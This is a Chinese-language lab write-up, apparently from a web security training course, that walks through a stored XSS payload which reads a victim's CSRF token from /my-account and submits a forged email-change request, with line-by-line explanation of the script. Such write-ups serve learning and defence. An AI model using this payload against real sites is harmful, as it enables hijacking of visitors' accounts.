# Cross-site scripting Lab24 本題是利用 Stored XSS 幫我們繞過 CSRF 防護機制,讓瀏覽者(受害者)自動對伺服器送出一個帶有合法 CSRF token 的請求。 一樣先進入網站。  登入帳號並攔截請求。  這裡可以得知我們在修改 email 的時候會用到 email 跟有一個名為 csrf 的隱藏欄位。 回到表單,我們輸入: ```html <script> var req = new XMLHttpRequest(); req.onload = function() { var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1]; var changeReq = new XMLHttpRequest(); changeReq.open('POST', '/my-account/change-email', true); changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); changeReq.send('csrf=' + token + '&email=test@test.com'); }; req.open('GET', '/my-account', true); req.send(); </script> ``` ``` var req = new XMLHttpRequest(); ``` 建立第一個請求物件,用來發出 GET `/my-account`,目的是取得含有 CSRF token 的 HTML。 ``` req.onload = function() { var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1]; ``` 這一行是利用 regex 抓出 `name="csrf" value="..."`,`(\w+)` 表示匹配一串英數底線組成的 token,`.match(...)[1]` 就能取出 token 本體。 :::danger 如果 regex 抓不到或 HTML 結構有變,這邊會報錯(建議加 try-catch 做保護) ::: ```js var changeReq = new XMLHttpRequest(); changeReq.open('POST', '/my-account/change-email', true); changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); changeReq.send('csrf=' + token + '&email=test@test.com'); ``` 這段就是利用你剛剛偷到的 token: - 送出合法的 POST 請求 - 修改受害者帳號的 email 成 test@test.com ``` }; req.open('GET', '/my-account', true); req.send(); ``` 觸發請求,完成一整套「偷 token → 發請求」的自動攻擊流程。  ---
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up